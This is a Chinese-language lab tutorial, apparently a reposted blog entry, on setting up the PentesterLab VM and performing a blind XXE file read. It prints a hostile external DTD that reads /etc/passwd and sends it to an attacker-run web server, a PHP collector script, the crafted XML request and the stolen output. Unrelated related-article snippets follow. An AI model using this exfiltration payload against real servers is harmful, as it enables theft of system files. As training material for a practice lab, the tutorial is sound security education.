XXE漏洞4-XXE無回顯文件讀取-PentesterLab靶場搭建

一.PentesterLab靶場搭建(實驗環境搭建)

介紹:PentesterLab 是一個全面的漏洞演示平臺,但是它是收費的,我們這里只使用它的 xxe 演示案例。

安裝 PentesterLab 虛擬機:下載好鏡像:
1.打開VMware新建虛擬機,選擇典型就行。

然后選擇我們的鏡像,下一步:

選擇linux,和linux3.x不要選64位的。

下一步,然后自己調節文件保存位置:

磁盤空間默認就行:

點擊自定義硬件:

我們去調一下內存,把內存調到一個g。

然后我們點擊關閉再點擊完成即可:

我們打開虛擬機:

輸入ifconfig查看ip:192.168.112.18

我們打開瀏覽器,看到一下頁面顯示則靶場安裝成功。

二.XXE無回顯文件讀取

實驗環境描述:Kali 作為黑客并建立黑客接收和提交數據的 Web 站點,PentesterLab 作為
server 被攻擊端
原理:

我們需要建立一個外部的 dtd 文件,一個用于接收數據的 php 文件,以及存儲數據的數據文件。
1、建立 dtd 外部實體文件:
# cd /var/www/html/
# vim test.dtd #插入以下內容
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.112.128/xxe.php?pass=%p1;'>">
%p2;

注:% p1 定義一個參數實體,%和 p1 之間有一個空格,用于接收 file:///etc/passwd 的內
容,%p1 引用參數實體,參數實體只能在 DTD 文件中被引用。
2、建立 php 文件
└─# vim xxe.php #插入以下內容
<?php
$pass=$_GET['pass'];
file_put_contents('pass.txt',$pass);
?>

3、創建存儲數據的文件
└─# touch pass.txt
4、修改文件權限
└─# chown -R www-data:www-data /var/www/html/*
5、啟動 apache2
└─# systemctl start apache2
6、測試 php 文件能夠正常寫入數據
└─# curl http://192.168.1.53/xxe.php?pass=1
└─# cat pass.txt
1

到這里基本工作就完成了。

下面我們進入靶場點擊左上角login,利用bp進行抓包。

我們修改請求:

<?xml version="1.0"?>
<!DOCTYPE e1 SYSTEM "http://192.168.1.53/test.dtd">
<foo>&e1;</foo>
改:Content-Type: application/x-www-form-urlencoded
為:Content-Type: text/xml

放包就行。

我們就成功帶外出了etc/passwd的內容:

root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false
mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/89403.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/89403.shtml
英文地址,請注明出處:http://en.pswp.cn/web/89403.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【機器學習】圖片分類中增強常用方式詳解以及效果展示

圖片增強常用方式詳解 引言 圖片數據的質量和多樣性對模型的訓練效果起著至關重要的作用。然而&#xff0c;實際獲取的圖片數據往往存在數量不足、分布不均衡等問題。圖片增強技術應運而生&#xff0c;它通過對原始圖片進行一系列變換&#xff0c;生成更多具有多樣性的圖片&…

【URL 轉換為PDF】HTML轉換為PDF

1、方法1 pdfkit 安裝依賴 # 安裝 wkhtmltopdf&#xff08;系統級&#xff09; # Ubuntu/Debian sudo apt install wkhtmltopdf# macOS brew install wkhtmltopdf# Windows 下載安裝&#xff1a;https://wkhtmltopdf.org/downloads.html# 安裝 Python 庫 pip install pdfkitimp…

單鏈表的定義、插入和刪除

一、定義一個單鏈表 struct LNode{ //定義單鏈表節點類型ElemType data; //存放節點數據元素struct LNode *next; //指針指向下一個結點 }; //增加一個新節點&#xff1a;在內存中申請一個結點所需空間&#xff0c;并用指針p指向這個結點 struct LNode * p (struc…

Nextjs官方文檔異疑惑

第一個區別&#xff1a;不同的頁面對應的路由器設定&#xff01; 繼續用 app 路由器&#xff08;推薦&#xff0c;Next.js 未來主流&#xff09; 路由規則&#xff1a;app 目錄下&#xff0c;文件夾 page.tsx 對應路由。例如&#xff1a; app/page.tsx → 對應 / 路由&#xf…

突破AI模型訪問的“光標牢籠”:長上下文處理與智能環境隔離實戰

> 當AI模型面對浩瀚文檔卻只能處理零星片段,當關鍵信息散落各處而模型“視而不見”,我們該如何打破這堵無形的墻? 在自然語言處理領域,**輸入長度限制**(常被稱為“光標區域限制”)如同一個無形的牢籠,嚴重制約了大型語言模型(LLM)在真實場景中的應用潛力。無論是分…

AI 智能質檢系統在汽車制造企業的應用?

某知名汽車制造企業在其龐大且復雜的生產流程中&#xff0c;正面臨著棘手的汽車零部件質檢難題。傳統的人工質檢方式&#xff0c;完全依賴人工的肉眼觀察與簡單工具測量。質檢員們長時間處于高強度的工作狀態&#xff0c;精神高度集中&#xff0c;即便如此&#xff0c;由于人工…

設計模式》》門面模式 適配器模式 區別

// 復雜子系統 class CPU {start() { console.log("CPU啟動"); } } class Memory {load() { console.log("內存加載"); } } class HardDrive {read() { console.log("硬盤讀取"); } }// 門面 class ComputerFacade {constructor() {this.cpu ne…

windows內核研究(驅動開發 第一個驅動程序和調試環境搭建)

驅動開發 第一個驅動程序 驅動的開發流程 1.編寫代碼 -> 生成.sys文件 -> 部署 -> 啟動 -> 停止 ->卸載 // 編寫我們的第一個驅動程序 #include<ntddk.h>// 卸載函數 VOID DrvUnload(PDRIVER_OBJECT DriverObject) {DbgPrint("我被卸載了\n"…

ABP VNext + 多級緩存架構:本地 + Redis + CDN

ABP VNext 多級緩存架構&#xff1a;本地 Redis CDN &#x1f4da; 目錄ABP VNext 多級緩存架構&#xff1a;本地 Redis CDN一、引言 &#x1f680;二、環境與依賴 &#x1f6e0;?三、架構概覽 &#x1f310;請求全鏈路示意 &#x1f6e3;?四、本地內存緩存層 &#x1…

RGBA圖片格式轉換為RGB格式(解決convert轉換的失真問題)

使用convert轉換的問題 OpenCV 的 cv2.cvtColor(…, cv2.COLOR_BGRA2GRAY) 會直接忽略 Alpha 通道的含義&#xff0c;將它當作第四個顏色通道來處理。 轉換公式如下&#xff1a; gray 0.114*255 0.587*0 0.299*0 ≈ 29也就是說&#xff0c;即使 Alpha 為 0&#xff08;完全透…

Spring AI之Prompt開發

文章目錄1 提示詞工程1_核心策略2_減少模型“幻覺”的技巧2 提示詞攻擊防范1_提示注入&#xff08;Prompt Injection&#xff09;2_越獄攻擊&#xff08;Jailbreaking&#xff09;3 數據泄露攻擊&#xff08;Data Extraction&#xff09;4 模型欺騙&#xff08;Model Manipulat…

Java面試(基礎篇) - 第二篇!

未看第一篇的&#xff0c;這里可以直達 Java面試(基礎篇) - 第一篇 Integer對象可以用判斷嗎&#xff1f;為什么&#xff1f; 回答 不可以&#xff0c;因為 比較的是對象的實例&#xff08;內存地址&#xff09;&#xff0c;Integer是有一個緩存機制的&#xff0c;它會將-1…

【C# in .NET】11. 探秘泛型:類型參數化革命

探秘泛型:類型參數化革命 泛型是 C# 和.NET框架中一項革命性的特性,它實現了 “編寫一次,多處復用” 的抽象能力,同時保持了靜態類型的安全性和高性能。與 C++ 模板等其他語言的泛型機制不同,.NET 泛型在 CLR(公共語言運行時)層面提供原生支持,這使得它兼具靈活性、安…

菜單權限管理

菜單管理系統的整體架構1.Menu 菜單表2.role 角色表3.role_menu 角色菜 單關聯表&#xff08;多對多 &#xff09;要找role_id為3的角色能用哪個菜單:SELECT *FROM sys_menu a LEFT JOIN sys_role_menu b ON a.menu_id b.menu_id WHERE role_id3拆分開就是4.user 用戶表5.user…

SQL FOREIGN KEY:詳解及其在數據庫設計中的應用

SQL FOREIGN KEY:詳解及其在數據庫設計中的應用 引言 在數據庫設計中,數據完整性是至關重要的。SQL FOREIGN KEY(外鍵)是實現數據完整性的一種有效手段。本文將詳細解釋SQL FOREIGN KEY的概念、用途以及在實際數據庫設計中的應用。 外鍵概述 1. 定義 外鍵(FOREIGN KE…

[yotroy.cool] 記一次 spring boot 項目寶塔面板部署踩坑

個人博客https://www.yotroy.cool/&#xff0c;感謝關注&#xff5e; 圖片資源可能顯示不全&#xff0c;請前往博客查看哦&#xff01;部署了個新項目&#xff0c;給我整抑郁了。。。下面是踩坑過程 寶塔面板 MySql5.7 版本 root 密碼錯誤 這個MySQL5.7 安裝完后就跑不了&#…

前端之HTML學習

HTML 學習筆記 前端三大件 HTML&#xff1a;超文本標記語言&#xff08;HyperText Markup Language&#xff09;CSS&#xff1a;層疊樣式表JavaScript&#xff1a;客戶端腳本語言常用框架&#xff1a;jQuery Vue 3(Element plus) HTML 基本概念 超文本&#xff1a;包含圖像…

迅速高效從web2到web3轉型 ,開啟遠程工作

Web2向Web3的轉型&#xff0c;是技術、產品、組織結構和商業模式的深度變革。若要迅速且高效地完成這個轉型&#xff0c;需要清晰的路徑規劃和戰略執行。 目錄 &#x1f501; 一、理解核心區別&#xff1a;Web2 vs Web3 &#x1f680; 二、轉型路徑 1. 選擇合適的切入點 …

區塊鏈開發協作工具全景圖:從智能合約管理到去中心化治理

&#x1f4a5; 三重絞索&#xff1a;區塊鏈開發的至暗時刻 1. 版本管理的深淵 當某DeFi團隊凌晨修復漏洞時&#xff0c;發現生產環境運行的竟是兩周前的廢棄分支——37%的項目因代碼分支混亂引發生產事故&#xff08;Electric Capital 2024&#xff09;。智能合約的版本漂移如同…

冒泡排序、選擇排序、插入排序、快速排序

目錄 1. 冒泡排序 (Bubble Sort) 算法思路分析 代碼實現 復雜度分析 2. 選擇排序 (Selection Sort) 算法思路分析 代碼實現 復雜度分析 3. 插入排序 (Insertion Sort) 算法思路分析 代碼實現 復雜度分析 4. 快速排序 (Quick Sort) 算法思路分析 代碼實現 復雜度…